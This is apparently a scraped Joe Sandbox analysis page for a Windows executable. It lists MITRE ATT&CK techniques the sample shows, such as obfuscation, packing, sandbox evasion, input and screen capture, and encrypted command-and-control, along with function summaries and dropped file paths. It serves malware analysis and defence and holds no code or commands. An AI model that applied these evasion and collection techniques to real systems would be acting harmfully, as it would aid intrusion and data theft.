Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2IVWAPeiZm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Pictures\any.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\any[1].png

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
2IVWAPeiZm.exe

Function 000001CFB96067B0 Relevance: 73.8, APIs: 29, Strings: 13, Instructions: 324
stringnetworklibraryCOMMON

Function 000001CFB96107A0 Relevance: 58.1, APIs: 23, Strings: 10, Instructions: 301
sleepregistrysynchronizationCOMMON

Function 000001CFB960DD20 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 302
windowCOMMON

Function 000001CFB9603380 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 168
networkstringtimeCOMMON

Function 000001CFB9607510 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 186
stringregistrycomCOMMON

Function 000001CFB96188E0 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Function 00007FF6F6081300 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 235
networkfileCOMMON

Function 000001CFB9607BF0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102
memoryCOMMON

Function 000001CFB9608A70 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 82
registrylibraryloaderCOMMON

Function 000001CFB96098C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 85
stringCOMMON

Function 000001CFB960E1C0 Relevance: 34.7, APIs: 23, Instructions: 201
memorywindowCOMMON

Function 000001CFB960BDB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
windowCOMMON

Function 000001CFB9607F70 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 117
memoryCOMMON

Function 000001CFB960B990 Relevance: 27.3, APIs: 18, Instructions: 283
windowCOMMON

Function 000001CFB96072F0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 67
sleepstringsynchronizationCOMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre